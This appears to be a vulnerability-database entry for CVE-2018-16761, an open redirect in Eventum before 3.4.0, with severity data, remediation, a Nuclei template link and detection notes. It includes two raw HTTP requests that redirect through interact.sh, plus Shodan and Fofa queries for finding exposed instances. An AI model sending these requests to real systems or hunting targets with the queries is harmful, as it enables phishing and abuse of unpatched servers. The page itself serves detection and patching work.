🔙 목록으로 돌아가기

CVE-2018-16761: Eventum <3.4.0 - Open Redirect

TitleEventum <3.4.0 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
RemediationUpgrade to Eventum version 3.4.0 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.02174
CVE IDCVE-2018-16761
CWE IDCWE-601
Shodan Queryhttp.favicon.hash:305412257
Fofa Queryicon_hash=305412257
Tags cve cve2018 redirect eventum oss eventum_project vuln

🔍 Vulnerability Description

Eventum before 3.4.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /select_project.php?url=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /clock_status.php?current_page=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16761.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-16761.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A